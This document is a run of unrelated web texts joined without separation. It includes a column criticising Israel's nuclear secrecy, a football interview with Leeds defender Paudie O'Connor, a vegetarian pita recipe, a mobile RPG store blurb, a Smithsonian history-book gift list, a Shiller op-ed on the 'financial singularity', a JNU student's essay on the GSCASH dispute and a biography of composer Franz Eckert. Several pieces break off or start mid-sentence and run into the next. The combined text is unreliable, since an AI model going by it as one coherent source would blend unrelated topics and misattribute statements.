Israel is now uniquely distinguished among all nuclear states in its legacy of extreme nuclear caution, keeping nuclear affairs low profile, nearly invisible and away from politics. [Emphases added.]
From this author’s perspective, the words “distinguished” and “nuclear state” should never appear in the same sentence. Also, because of the dangers inherent in a nuclear program such as the myriad documented accidents, “extreme nuclear caution” is wishful thinking.
Meanwhile, how can the world’s most destructive weapons possibly be kept “low profile” and “away from politics”? Even if “keeping the blinders on is necessary politically [for the United States] in order to avoid a policy confrontation with Israel,” as Jordan writes at Defense Tech, it’s tough to ignore an 800-megaton gorilla.
To give Cohen his due, elsewhere he said:
“Not only is Israel’s nuclear posture of taboo and total secrecy totally anachronistic, it is inconsistent with, and costly to, the tenets of modern liberal democracy. Israel needs a better way to handle its nuclear affairs.”
He also attempts to use Israel’s development as a precautionary tale to prevent Iran from going nuclear.
One can reasonably make the case that Iran’s nuclear project today is at a similar juncture to Israel in 1963-1964 as it started to operate the Dimona reactor.
Needless to say, however, the only sure means to circumvent Iranian development of a nuclear bomb is for Israel (not to mention the United States) to disarm.
The Deproliferator (the column’s title, not the author’s nom de plume) covers nuclear nonproliferation and disarmament, with an emphasis on treaties, negotiation, and diplomacy. The author is not employed in the arms control field.
A term coined by sociologist and professor of international relations Amitai Etzioni, “deproliferation,” he writes, “calls for removing the access to nuclear arms and the materials from which they can readily be made — first and foremost in unstable and noncompliant states, and only then in all others.”
Whatever the merits of this approach, it lends itself to reinforcing the distinction between the nuclear haves and have-nots. Fond of his phrase, though, we’re appropriating it to our own ends. For the purposes of this column, deproliferation means, simply, disarmament.TWELVE months ago talented Ballybrown-born defender Paudie O’Connor made the seismic switch from Limerick FC to Leeds Utd, a giant of English football.
Twenty year-old O’Connor’s rise has been nothing short of meteoric. From Kilcornan, to Breska Rovers, on to Regional Utd, and then signing for Limerick FC at 16 in July 2013 to play with their U-19s.
Central defender O’Connor’s senior debut for Limerick FC in the Premier Division of the SSE Airtricity League followed quickly.
While Limerick were relegated from the top flight at the end of 2015, the Blues and O'Connor bounced back superbly, romping to the First Division title with the centre half included in the First Division team of the Year.
Twelve months ago, cultured defender Paudie, son of Tom and Maura, signed for English Championship side, Leeds United, a club with a proud and decorated past, currently plying their trade in the Sky Bet Championship.
How big a decision was it to leave Limerick given they had won promotion back to the Premier Division?
Paudie O’Connor: "I was in UL through that season Limerick were in the First Division (2016) studying engineering.
“I had decided to take a year out at the end of that year to concentrate on football. I deferred the place in college.
"There was nothing holding me back. I had a few contacts from England who got in touch and asked me to come over, so I went over, to look at my options, see what was going.
"I had a contract offer from Limerick (for the 2017 Airtricity League Premier Division season) quite quickly after the season ended, but I didn't rush into any decision.
"I went over, went to Crystal Palace for a few days, went to Leicester for quite a bit and then Leeds came in this time last year, just after Christmas.
“I went there for a week, played a couple of games and liked what was there. They liked me. I came home and let Leeds and Limerick speak. It went from there.
"I don't think the decision to go was too easy to be honest. What my thinking was where will I get probably the best development for me going forward?
“I thought the professionalism, the set-up, the facilities, everything, was swinging me more than just football.
“I was going to get that wherever I went, so it was off-the-field benefits, lifestyle stuff, getting that level of exposure with the facilities was going to benefit me more than playing another year in the Premier Division which was appealing to me.
"It definitely wasn't an easy decision, but the one which would benefit me more was to go."
What big a change has life at Leeds Utd been for you?
PO'C: “I signed a two and a half year deal with Leeds and moved over on March 1 (2017). I have a year and a half left.
"I was training mainly with the U-23s. I had missed out on the League of Ireland pre-season because I didn’t go back with Limerick.
“ I had two to two and a half weeks myself with the S&C coach at Leeds. That got my fitness levels on the pitch and in the gym up to scratch.
"I played about six or seven games with the U-23s and trained with the first team until the end of the season.
“It was nice coming back in for pre-season knowing what I was getting myself into because I was aiming to make sure I would come back firing for pre-season.
“Leeds Utd’s Thorp Arch training ground, includes 8-9 grass pitches, an indoor astro, an outdoor astro, brand new gym, it’s state-of-the-art.
"That is one of the areas I need to improve on, the physicality, being a centre half, my quick feet, having that there on my door step helped
"I had a small idea before I went about the support base for Leeds Utd in Ireland. I knew about Johnny Giles and the Irish connection and that.
“But not for a minute did I realise the amount of Irish supporters Leeds has. I got messages literally for about two weeks straight of different, supporters clubs in Galway wishing you well. I didn't have any idea of that.”
You were involved with the Leeds first team squad for pre-season training last summer?
PO'C: We were due back in for pre-season on July 1, but myself and another lad got called back on June 24, a week early because we were going to be with the first team.
"I did three-and-a-half weeks training with the first team because the new gaffer Thomas Christiansen and his backroom team came in. He wanted to have a look at everything.
"I felt I did alright, played a couple of games, did well, training well. The squad flew out for their pre-season trip to Austria to play a couple of games and a few of us didn't travel.
“I knew after that it was only going to be bit-part for me, realistically.
“Our two starting centre halves, were the Swedish international Pontus Jansson and Liam Cooper, the skipper, and after that, he brought in a lad from Everton Matthew Pennington on loan, I knew the door mightn't be open as much as I would wish for, but that is football. It is going to throw up challenges.
"I played with the U-23s, got on the bench for the first team a couple of times for a few of the League Cup games.
“It was nice to be involved, but going forward, in the next couple of months, I will probably be looking for first team football again because if it doesn't come at Leeds maybe somewhere else because the U-23s is good and all, but there is not that level of competitiveness that I am used to or like.
“I have a Spanish coach with the U-23s Carlos Corberán and it is good to learn a complete new way of football and new way of thinking about it. That is good for me and for my football.”
With former Republic of Ireland international Stephen Hunt as your agent, what is next?
PO'C: “Going forward, I would like to be back playing first team.
"There is always the loan option as well. You can get a season-long loan, so we will see what options are on the table, I won't be jumping into anything without thinking over.
"As you say, I have Stephen Hunt, the former Irish international, looking after me. He is my agent. He has been good to me. He lives in Birmingham, not too far away from me.
“He is up every second week really if I have a game or just to have a chat.
"Stephen, myself and my Dad will sit down and assess the options. I can't complain. My time so far has been enjoyable and I have learned a lot.”
You became a social media hit in November when acting as peacemaker in a friendly game in Wales which was ultimately abandoned?
PO'C: “Someone in the club was doing someone a favour in Rhyl FC in North Wales about two and a half hours from Leeds, so we arranged to play them in a friendly on a Tuesday night.
“The pitch wasn't great. Within about two minutes there wasn’t a blade of grass to be seen. The home side took a physical approach to the game.
"Myself and a couple of English boys in the team were the only ones used to it. They flew in on the Spanish boys in our side who didn't like it. It was getting heated.
“We were sticking up for ourselves, but you could tell it was a game which was going to get out of hand fairly quickly.
“At the start of the second half, our right back, played a pass inside and a guy left another one late on him.
“He thought, ‘I'm not having this’ and squared up to the Rhyl player who lands a haymaker out of nowhere.
“It was something like you would see outside a night club in town.
"I am the closest man and have seen it, so I went in to give him one back. The hand bags start flying then. It was one of these things that happened. The game was abandoned.
"A supporter filmed it and by the time we got on the bud to go home it was all over all types of social media.”
How do you rate your experience at Leeds to date?
POC: "I feel it was the right decision (to move to Leeds) and I a reaping the rewards with the fact of the level of football I am getting there, obviously training with the first team and that under Christiansen. He is a really good manager and knows his stuff.
"I suppose there is only so much learning you can do here (in Ireland), that is not being disrespectful to any of the managers in this country, but the level of coaching in England is that big higher.
“ I feel like I am learning all the time. That is the main reason I moved and I am happy enough with it.
"We play in an U23 development league, so our next game is against Burnley on Friday, January 5.
“We played Bolton in our last game which ended in a 2-2 draw.”Nutritional info per serving: Calories: 491
Fat: 7 g
Fiber: 15 g Protein: 11 g
Carbs: 98 g
Sodium: 780 mg
Ingredients
4 medium (1 pound) all-purpose potatoes, peeled and cubed
3/4 cup fresh (or thawed frozen) peas
2 tablespoons chopped cilantro
2 tablespoons sweet red (or other mild) onion, minced
1/2 teaspoon sugar
1/2 teaspoon salt
Ground red pepper to taste
1 tablespoon mustard (or canola) oil
1/4 teaspoon black mustard seeds
1/4 teaspoon ground turmeric
2 pita pockets (preferably whole wheat)
Sweet onion rings
Alfalfa sprouts
Directions
1. Steam the potatoes until they are very tender (15 to 20 minutes), and mash them thoroughly.
2. Steam the peas until they are tender (6 to 10 minutes if fresh; 3 to 5 minutes if thawed frozen). Mash the peas thoroughly using a mortar and pestle or a food mill. You can also place the peas on a board and use a heavy object to mash them.
3. Combine the potatoes, peas, cilantro, minced onion, sugar, salt, and red pepper in a large bowl.
4. Heat the oil in a large skillet over moderate heat until sizzling. Add the mustard seeds and sauté them until they start to pop.
5. Stir in the turmeric. Add the potato-pea mixture, and cook for a few minutes, stirring often, to brown the potatoes lightly and to heat the mixture through.
6. Remove the mixture from heat, taste, and adjust the seasonings as needed.
7. Cut the pita bread into halves. Divide the potato mixture to fill the pockets, and insert the onion rings and alfalfa sprouts.
Tip
- Start with a scant pinch of red pepper; this dish is best slightly spicy.
Recipe adapted from "The Bold Vegetarian" by Bharti Kirchner.
Get this recipe from a friend? Sign up for your own recipe of the week.Venture forth into the most immersive, action-packed, and accomplished hack 'n' slash action RPG! ***** REDISCOVER THE THRILL OF DUNGEON CRAWLING - Progress through an EPIC STORYLINE & stunning environments - SLASH hundreds of enemies and massive bosses - LOOT countless items ***** EXPERIENCE A TRUE RPG - Choose from 4 Character Classes with unique combat styles - UPGRADE your battle skills - CUSTOMIZE, craft and charm your gear - Unveil the mysteries surrounding your warrior ***** GO FOR MULTIPLAYER ACTION - Enter Co-op arenas for highly intense fights - Show off your battle skills in the PvP modes! The Demons, a race thought to have been extinguished eons ago, have returned. You awaken from what seemed like a nightmare to find your kingdom, Valenthia, decimated. Unharmed from the battle, you are mysteriously gifted with tremendous new power and skills. You could be your people’s only remaining hope… _____________________________________________ Visit our official site at http://www.gameloft.com Follow us on Twitter at http://glft.co/GameloftonTwitter or like us on Facebook at http://facebook.com/Gameloft to get more info about all our free upcoming games. Check out our videos and game trailers on http://www.youtube.com/Gameloft Discover our blog at http://glft.co/Gameloft_Official_Blog for the inside scoop on everything Gameloft. _____________________________________________ This app allows you to purchase virtual items within the app and may contain third-party advertisements that may redirect you to a third-party site. Terms of use: http://www.gameloft.com/conditions/Last week’s holiday gift guide had a little something for everyone: science lover, wordsmiths, artsy types and history buffs. But this week, we’re bringing you the unabridged list of history picks, each of which were recommended by researchers, curators and staff at the Institution so they’ve got the smarty stamp of approval.
So stop sneezing over perfume samples and sorting through silk ties, this list of more than 30 titles, from hip-hop history for newcomers to the Civil War canon, is all you’ll need this holiday season.
Biography
Cleopatra: A Life by Stacy Schiff. The Pulitzer Prize-winning biographer delivers a dramatic account of one of the most famed but misunderstood women of all time. The New York Times called it “a cinematic portrait of a historical figure far more complex and compelling than any fictional creation, and a wide, panning, panoramic picture of her world.” (Recommended by Laurel Fritzsch, project assistant at the Lemelson Center for the Study of Invention and Innovation)
The Lost World of James Smithson: Science, Revolution, and the Birth of the Smithsonian by Heather Ewing. Learn more about this British chemist and the Institution’s founder, who left his fortunes to a country he’d never even set foot in, all in the name of science and knowledge. (Recommended by Robyn Einhorn, project assistant for armed forces history at the American History Museum)
Young Romantics: The Tangled Lives of English Poetry’s Greatest Generation by Daisy Hay. In addition to the celebrated figures of Lord Byron, Mary Shelley and John Keats, Hay’s book also weaves in mistresses, journalists and in-laws for a riveting tale of personal drama. (Recommended by Laurel Fritzsch, project assistant at the Lemelson Center for the Study of Invention and Innovation)
Genius of Place: The Life of Frederick Law Olmsted by Justin Martin. “Olmsted did so many different things in life, that it’s like reading a history of the country to read about him,” says the Institution’s Amy Karazsia. Not just the landscape architect behind everything from Central Park to Stanford University, Olmsted was also an outspoken abolitionist, whose social values informed his design. (Recommended by Amy Karazsia, director of giving at the American History Museum)
Crockett Johnson and Ruth Krauss: How an Unlikely Couple Found Love, Dodged the FBI, and Transformed Children’s Literature by Philip Nel. Not as famous as their mentee Maurice Sendak, Johnson and Krauss lived just as colorful a life creating children’s classic, including Harold and the Purple Crayon, that endure even today. (Recommended by Peggy Kidwell, curator of medicine and science at the American History Museum)
American History
Big Chief Elizabeth: The Adventures and Fate of the First English Colonists in America by Giles Milton. A look at some of the first settlers, including a Native American who had been taken captive, traveled to England and then returned to America as Lord and Governor before disappearing. Milton unravels the mystery of what happened to those early settlers. (Recommended by Carol Slatick, museum specialist at the American History Museum)
The Barbarous Years: The Peopling of British North America: The Conflict of Civilization, 1600-1675 by Bernard Bailyn. The Pulitzer Prize-winning author who has written profusely on early American history here turns his eye to the people already on North America’s shores when the British arrived and their interactions with the colonists. (Recommended by Rayna Green, curator of home and community life at the American History Museum)
Revolutionary Characters: What Made the Founders Different by Gordon S. Wood. For those who think they have the complete picture of the founding fathers, allow Pulitzer Prize-winning author Gordon S. Wood to fill in the details and explain what made each unique. (Recommended by Lee Woodman, senior advisor for the office of the director at the American History Museum)
Empire of Liberty: A History of the Early Republic, 1789-1815 by Gordon S. Wood. And for those who like their Pulitzer Prize winners to take a broader look, Wood’s Empire of Liberty examines the larger context in which those greats from his Revolutionary Characters worked. (Recommended by Timothy Winkle, curator of home and community life at the American History Museum)
Six Frigates: The epic history of the founding of the US Navy, by Ian W. Toll. Our Smithsonian recommender wrote that this book is a, “real page-turner about the politics surrounding the creation of a navy, the shipbuilding process, the Navy culture of the time, characteristics of each ship and the characters who served on them,” from the War of 1812, the Mediterranean naval actions and more. (Recommended by Brett Mcnish, supervisory horticulturalist at Smithsonian Gardens)
The Burning of Washington: The British Invasion of 1814 by Anthony Pitch. The story of how Dolly Madison rescued George Washington’s portrait from the White House when it was engulfed in flames during the British attack is by now common classroom stuff. But Pitch breathes new life into the now quaint tale, delivering a gripping account of the actions as they unfolded. (Recommended by Cathy Keen, archives curator at the American History Museum)
What This Cruel War Was Over: Soldiers, Slavery, and the Civil War by Chandra Manning. We remember the Civil War through the words of famous men, but Manning returns the struggle’s voice to those who fought, including both black and white soldiers as she pulls from journals, letters and regimental newspapers. (Recommended by Barbara Clark Smith, curator of political history at the American History Museum)
The Fiery Trial: Abraham Lincoln and American Slavery by Eric Foner. Though we learn more about the man every year, Abraham Lincoln’s true relationship to the issue of slavery remains buried somewhere between pragmatism and indignation. This account from the Pulitzer Prize-winning Foner brings out the nuance of the full conversation, not shying away from the difficult and sometimes contradictory parts. (Recommended by Arthur Molella, director of the Lemelson Center for the Study of Invention and Innovation)
Destiny of the Republic: A Tale of Madness, Medicine, and the Murder of a President by Candice Millard. The best-selling book just released in June details the attempted assassination of President Garfield in 1881. Full of intrigue, the book found fans in the Smithsonian partly because the apparatus Alexander Graham Bell used to find the bullet which wounded the President is actually in the collections. (Recommended by Roger Sherman, curator of medicine and science for the American History Museum)
Guest of Honor: Booker T. Washington, Theodore Roosevelt and the White House Dinner That Shocked a Nation by Deborah Davis. Though enslaved African Americans built the White House, none had ever dined there until Booker T. Washington was invited to by President Roosevelt. The incredibly controversial dinner engulfed the country in outrage but Davis places it within a larger story, uniting the biographies of two very different men. (Recommended by Joann Stevens, program director of Jazz Appreciation Month at the American History Museum)
Freedom Summer: The Savage Season of 1964 That Made Mississippi Burn and Made America a Democracy by Bruce Watson. Racism consumed the entire nation, but the Student Nonviolent Coordinating Committee chose Mississippi as one of the worst offenders. A modest army of hundreds of students and activists went to the state to man voter registration drives and fill the schools with teachers. Though the summer produced change, it also witnessed the murder of three young men whose deaths would not be solved until years later. (Recommended by Christopher Wilson, program director of African American culture at the American History Museum)
The Years of Lyndon Johnson by Robert Caro. This four-volume monolith by the Pulitzer Prize winning Robert Caro runs more than 3,000 pages and yet it captured the adoration of nearly every reviewer for its painstakingly thorough and engaging biography of a complicated man and era. (Recommended by Rayna Green, curator of home and community life at the American History Museum)
Social History
Battle Cry of Freedom: The Civil War Era by James McPherson. As Alex Dencker says, this is, “not a typical Civil War book.” McPherson deftly handles the Civil War while also creating a portrait of what made America unique, from its infrastructure, to its agriculture to its populations, to set the stage in a new way. (Recommended by Alex Dencker, horticulturalist at Smithsonian Gardens)
City of Scoundrels: The 12 Days of Disaster That Gave Birth to Modern Chicago by Gary Krist. July 1919 proved particularly eventful in Chicago, with a race riot, the Goodyear blimp disaster and a dramatic police hunt for a missing girl. Krist looks beyond the buzz of headlines to capture a city in transformation. (Recommended by Bonnie Campbell Lilienfeld, supervisor curator of home and community life at the American History Museum)
Harvest of Empire: A History of Latinos in America by Juan Gonzalez. A revised and updated edition of a comprehensive work from columnist Juan Gonzalez provides a contemporary look at the long history of a diverse group whose national profile continues to rise. (Recommended by Magdalena Mieri, program director in Latino history and culture at the American History Museum)
The Good Girls Revolt: How the Women of Newsweek Sued their Bosses and Changed the Workplace by Lynn Povich. Valeska Hilbig, from the American History Museum, loved the way this book, “as compelling as any novel,” also provided “an accurate, intimate history of new women journalists invading the male journalistic world of the 1970s” to reveal how women’s struggle for recognition in the workplace may just be beginning. (Recommended by Valeska Hilbig, public affairs specialist at the American History Museum)
At Home: A Short History of Private Life by Bill Bryson. If you happen to, like Bill Bryson, live in a 19th century English rectory, you might assume your home is full of history. But Bryson shows us, in addition to touring his own home, that these private and often ignored spaces hold the story of human advancement. (Recommended by Laurel Fritzsch, project assistant at the Lemelson Center for the Study of Invention and Innovation)
Science History
Poisons of the Past: Molds, Epidemics, and History by Mary Kilbourne Matossian. Could food poisoning have been at the heart of some of Europe’s strangest moments in history? That’s what Matossian argues in her look at how everything from food preparation to climate may have shaped a region’s history. (Recommended by Carol Slatick, museum specialist at the American History Museum)
Greek Fire, Poison Arrows & Scorpion Bombs: Biological and Chemical Warfare in the Ancient World by Adrienne Mayor. An easy read that looks at the often dark and very long history of biological warfare, using everything from Greek mythology to evidence from archeological dig sties. (Recommended by Carol Slatick, museum specialist at the American History Museum)
The Republic of Nature: An Environmental History of the United States by Mark Fiege. In a sweeping history, Fiege persuasively argues that no moment in time can be separated from its environment, brining together natural and social history. (Recommended by Jeffrey Stine, supervisory curator of medicine and science at the American History Museum)
Sea of Glory: America’s Voyage of Discovery, The U.S. Exploring Expedition, 1838-1842 by Nathaniel Philbrick. Our insider, Brett McNish, described the text and its connection to the institution saying it was, “a brilliant read about the U.S. Exploring Expedition (a.k.a. Wilkes Expedition) and what would become the basis of the Smithsonian’s collection,” noting that, “Smithsonian Gardens has descendants of some of the plants Wilkes brought back in our Orchid Collection and garden areas.” (Recommended by Brett McNish, supervisory horticulturalist of grounds management)
The Ghost Map: The Story of London’s Most Terrifying Epidemic–and How It Changed Science, Cities, and the Modern World by Steven Johnson. 1854 London was both a thriving young metropolis and the perfect breeding ground for a deadly cholera outbreak. Johnson tells the story not just of the outbreak, but how the outbreak influenced that era’s fledgling cities and scientific worldview. (Recommended by Judy Chelnick, curator of medicine and science at the American History Museum)
The Arcanum The Extraordinary True Story By Janet Gleeson. The search for an elixir has long obsessed man, but in the early 18th century, Europeans were hard at work on another mystery: how exactly the East made its famed and envied porcelain. Gleeson tells the diverting tale of that fevered search with flourish. (Recommended by Robyn Einhorn, project assistant for armed forces history at the American History Museum)
The Skull Collectors: Race, Science, and America’s Unburied Dead by Ann Fabian. Perhaps not unsurprisingly, the story of skull collecting in a misguided effort to confirm racist stereotypes of the 1800s is a dark, even ghoulish tale. Fabian takes one noted naturalist, Samuel George Morton, who collected hundreds of skulls over his lifetime as she unpacks a society’s cranial obsession. (Recommended by Barbara Clark Smith, curator of political history at the American History Museum)
The Poisoner’s Handbook: Murder and the Birth of Forensic Medicine in Jazz Age New York by Deborah Blum. For years, poisons had been the preferred weapon of the country’s underworld. All that changed, however, in 1918 when Charles Norris was named New York City’s chief medical examiner and made it his mission to apply science to his work. (Recommended by Laurel Fritzsch, project assistant at the Lemelson Center for the Study of Invention and Innovation)
Music History
Groove Music: The Art and Culture of the Hip-Hop DJ by Mark Katz. Told from the point of the view of the very people at the center of the genre’s creation, Katz’s history of hip-hop relies on the figure of the DJ to tell its story and reveal the true innovation of the craft that began in the Bronx. (Recommended by Laurel Fritzsch, project assistant at the Lemelson Center for the Study of Invention and Innovation)
Underground Dance Masters: Final History of a Forgotten Era by Thomas Guzmán Sánchez. According to the Institution’s Marvette Perez, the text “captures the essence of hip-hop culture in California, not only from a great student of hip hop and popular culture, but one who |
so many smart people and smarter computers, financial markets really do become perfect, and we can just sit back, relax, and assume that all assets are priced correctly?
This imagined state of affairs might be called the financial singularity, analogous to the hypothetical future technological singularity, when computers replace human intelligence. The financial singularity implies that all investment decisions would be better left to a computer program, because the experts with their algorithms have figured out what drives market outcomes and reduced it to a seamless system.
Many believe that we are almost there. Even legendary investors like Warren Buffett, it is argued, are not really outperforming the market. In a recent paper, “Buffett’s Alpha,” Andrea Frazzini and David Kabiller of AQR Capital Management and Lasse Pedersen of Copenhagen Business School, conclude that Buffett is not generating significantly positive alpha if one takes account of certain lesser-known risk factors that have weighed heavily in his portfolio. The implication is that Buffet’s genius could be replicated by a computer program that incorporates these factors.
If that were true, investors would abandon, en masse, their efforts to ferret out mispricing in the market, because there wouldn’t be any. Market participants would rationally assume that every stock price is the true expected present value of future cash flows, with the appropriate rate of discount, and that those cash flows reflect fundamentals that everyone understands the same way.
Investors’ decisions would diverge only because of differences in their personal situation. For example, an automotive engineer might not buy automotive stocks — and might even short them — as a way to hedge the risk to his or her own particular type of human capital. Indeed, according to a computer crunching big data, this would be an optimal decision.
There is a long-recognized problem with such perfect markets: No one would want to expend any effort to figure out what oscillations in prices mean for the future. Thirty-five years ago, in their classic paper, “On the Impossibility of Informationally Efficient Markets,” Sanford Grossman and Joseph Stiglitz presented this problem as a paradox: Perfectly efficient markets require the effort of smart money to make them so; but if markets were perfect, smart money would give up trying.
The Grossman-Stiglitz conundrum seems less compelling in the financial singularity if we can imagine that computers direct all the investment decisions. Although alpha may be vanishingly small, it still represents enough profit to keep the computers running.
But the real problem with this vision of financial singularity is not the Grossman-Stiglitz conundrum; it is that real-world markets are nowhere close to it.
Computer enthusiasts are excited by things like the blockchain used by Bitcoin (covered on an education website called Singularity University, in a section dramatically titled Exponential Finance). But the futurists’ financial world bears no resemblance to today’s financial world. After all, the financial singularity implies that all prices would be based on such things as optimally projected future corporate profits and the correlation of profits with expected technological innovations and long-term demographic changes. But the smart money hardly ever talks in such ethereal terms.
In this context, it is difficult not to think of China’s recent stock-market plunge. News accounts depict hordes of emotional people trading on hunch and superstition. That looks a lot more like reality than all the talk of impending financial singularity.
Markets seem to be driven by stories, as I emphasized in my book “Irrational Exuberance.” There are stories of great new eras and of looming depressions. There are fundamental stories about technology and declining resources. And there are stories about politics and bizarre conspiracies.
No one knows if these stories are true, but they take on a life of their own. Sometimes they go viral. When one has a heart-to-heart talk with many seemingly rational people, they turn out to have crazy theories. These people influence markets, because all other investors must reckon with them; and their craziness is not going away anytime soon.
Maybe Buffett’s past investing style can be captured in a trading algorithm today. But that does not necessarily detract from his genius. Indeed, the true source of his success may consist in his understanding of when to abandon one method and devise another.
The idea of financial singularity may seem inspiring; but it is no less illusory than the rational Utopia that inspired generations of central planners. Human judgment, good and bad, will drive investment decisions and financial-market outcomes for the rest of our lives and beyond.
This article has been published with the permission of Project Syndicate — The Mirage of the Financial Singularity.
Want news about Asia delivered to your inbox? Subscribe to MarketWatch's free Asia Daily newsletter. Sign up here.On a Friday night last month, Collective, a political organisation in Jawaharlal Nehru University of which I am a part, organised a public meeting on “Understanding Prevention, Prohibition and Redressal of Sexual Harassment”.
It was held in the mess of one of the women-only hostels, and despite three other events being scheduled at the same time - it was election season, after all - over a hundred students participated in a constructive discussion about the meaning of affirmative consent, what constitutes sexual harassment, the jurisprudence and regulations governing complaints, and the support systems available to the complainant.
As we were preparing the mess for the event, we noticed a curious set of posters stuck on the water cooler and the wall behind it. We hadn’t seen them anywhere else on campus; they had been put up earlier in the evening, only in this hostel.
All of them were titled, “Ban the Khap”. One demanded "rule of law, not your pseudo-progressive khapi ideology for politically backed boost [to] your flagging career". Another accused "corrupt and thieving khapis of embezzlement of public money without authority of law". At first, we were all bewildered about who they were talking about.
It became clear when the speakers finished and the floor was thrown open to the audience. The first questioner went on a rant about how the Gender Sensitisation Committee Against Sexual Harassment (GSCASH), which investigates all such complaints on campus, has no legal basis to exist.
As this week’s events have shown, the latest target of the vice-chancellor is the GSCASH itself.
His argument was that under the Sexual Harassment at Workplaces Act, 2013, and guidelines issued by the University Grants Commission in 2015, all complaints must be handled by an Internal Complaints Committee (ICC), and therefore the GSCASH is an extra-legal body, much like a khap panchayat.
It’s an odious comparison. No one says that the GSCASH is a perfect institution. It could focus more on gender sensitisation work, for one, and elections to the committee have not been held since 2015 because, the organisations that have controlled the union in the interim say, of the unprecedented attack on JNU over the past two years. There is also a provision in the UGC guidelines that the university could benefit from, but has not yet adopted, stating that campus safety "should not result in securitisation, such as over-monitoring or policing or curtailing freedom of movement, especially for women employees and students".
However, the GSCASH is based on sound principles and was forged through years of struggle by both students and teachers. The democratic nature of the body, in which student, faculty, and staff representatives are elected, ensures that there is robust debate about what needs to be improved at every election. At a time when dysfunctional institutions are the norm, it is a body that works.
Its existence has enabled complaints against sexual harassment to be pursued in a sensitive manner, protecting the privacy of both the complainant and the accused, with safeguards against the shielding of powerful figures as well as further harassment of the complainant by issuing restraining orders. Many of these provisions are not included in the UGC guidelines, which are intended to provide minimum standards for universities throughout the country.
Again, it is not my argument that the GSCASH has made JNU an idyll of gender justice; such idylls can only be worked towards through a constant struggle. But the GSCASH was a prominent milestone in that struggle. And such a struggle must be democratic in nature.
Despite the panellists repeatedly explaining to him why his “legal” argument was specious - how the GSCASH amended its rules and procedures in 2015 to incorporate the provisions of the Sexual Harassment at Workplaces Act; how the UGC guidelines specify that existing bodies such as the GSCASH need only be reconstituted as an (ICC), as has happened at Ambedkar University, Delhi, and the University of Hyderabad, and not be replaced by one; how the GSCASH is a model for similar institutions across the country - he continued his heckling for a few minutes, then left.
The posters showed up a few weeks later at different places around the campus. As you would expect from their viciousness, they are anonymous, just like the Islamophobic graffiti that showed up in Najeeb Ahmed’s hostel around the time he went missing a year ago.
Whoever was behind this guerrilla postering, it is now evident, was merely a useful idiot for the university administration in its never-ending quest to dismantle all that is remotely progressive about JNU. As this week’s events have shown, the latest target of the vice-chancellor is the GSCASH itself.
Using the same Orwellian logic as our heckler, the registrar issued a notification on September 12 that the GSCASH elections scheduled for this Friday (September 22) would not be held, and that the body itself would be replaced by an ICC, with members nominated by the vice-chancellor. (Three student posts are to be elected, but the guidelines prevent anybody with pending disciplinary proceedings against them from contesting the elections. The administration has been using similar provisions in the Lyngdoh Committee Recommendations to prune the field of potential candidates by instituting farcical inquiries against undesirables. Nothing would stop it from pursuing similar tactics here.)
On Monday (September 18), this decision was ratified by the executive council of the university over the protests of some members. Nivedita Menon, who was one of those who spoke up, and whom the university administration has sought to make an example of in their attempts to stifle dissenting voices on campus, was later removed as chairperson of the Centre for Comparative Politics and Political Theory, the position from which her membership of the executive council stemmed.
Within an hour, without even having the minutes of the meeting signed by all present, two further notices were published: one naming a panel of six nominated members, including the wife of Vijender Gupta, the BJP leader in the Delhi Assembly; another relieving chief proctor Vibha Tandon, who has been at the forefront of the administration’s persecution of student activists, of her charge so that she can head the committee.
Soon afterwards, administrative staff showed up at the GSCASH office, demanding that everyone leave so they can seal the premises. GSCASH members resisted, citing the privacy of complainants and accused perpetrators whose case files the administration wants to seize. They eventually locked the room themselves, only for the staff to put another lock on the door. On Thursday, the Delhi High Court issued an interim order for the status quo to be maintained until the next hearing of a petition challenging the decision.
And so, with a few strokes of a pen, another hard-fought victory of the students’ movement is nullified as the tyrant in the pink palace, guarded by G4S personnel and a high court order banning protests within 100 metres, continues dragging JNU back into the dark ages by the scruff of its neck.
If this decision is allowed to stand - and it must not - a functional, sensitive, well thought out and accountable institution will be replaced by one which provides complainants fewer protections, one whose chief purpose is not gender sensitisation but doling out punishment, one whose constitution and decisions are determined by those who wield the most power.
You know, like a khap panchayat.
Also read: Why did Times Now flash photos of JNU students Shehla Rashid and Kanhaiya Kumar in a story about ISIS?Cover for Eckert's notes of the new national anthem. Designed by Curt Netto in 1880
Franz Eckert (April 5, 1852 – August 6, 1916)[1] was a German composer and musician who composed the harmony for Japan's national anthem, "Kimigayo" and the national anthem of the Korean Empire, "Aegukga".
Early life and education [ edit ]
Eckert was a native of Neurode, Prussian Silesia (now Nowa Ruda, Poland), and the son of a court official. He studied in the conservatories of Breslau (Wrocław) and the Royal Conservatory in Dresden, and specialized in military music at Neiße. He received an appointment to become bandmaster to the Kaiserliche Marine at Wilhelmshaven, where he caught the attention of the Japanese government in 1879.
Career [ edit ]
Eckert was invited to the Empire of Japan as a foreign advisor at the behest of the Imperial Japanese Navy. Eckert served as director of the Navy Band from 1879 to 1880. At the time, the need for an anthem was especially pressing in the Navy, as Japanese officers were embarrassed by their inability to sing their own anthem at flag ceremonies at sea. The existing anthem had been created by John William Fenton in 1869.[2] Eckert rearranged the existing anthem per the Gregorian mode for Western instrumentation, making suitable modifications for playability at sea, including a four-part vocal arrangement. The new national anthem was first performed in the imperial palace on Emperor Meiji's birthday, 3 November 1880.
Between 1883 and 1886 he worked in the Ministry of Education for the Music Examination Board in the area of wind and string music. However, his most important task was the publication of the books of songs for use in Japanese elementary schools. In March 1888, Eckert joined the Department of Classical Music of the Imperial Household Ministry, established the military band of the Imperial Guards, and founded the military band of the Imperial Japanese Army Academy. He was active in composing ceremonial music for both the Court and for the military, while introducing a variety of Western musical instruments and musical theories on melody and harmony.
In 1897, he was invited to compose a special song, which he titled Kanashimi no kiwami, for the funeral of Empress Dowager Eishō (widow of Emperor Kōmei).
Eckert returned to Germany in 1899 due to ill health, and obtained a posting at the Berlin Philharmonic, but was soon appointed music director to Kaiser Wilhelm II. However, his stay in Germany was short, and soon after his health had improved, he accepted an invitation extended by the Korean Empire to build a court orchestra and to train musicians in European musical instruments and techniques.
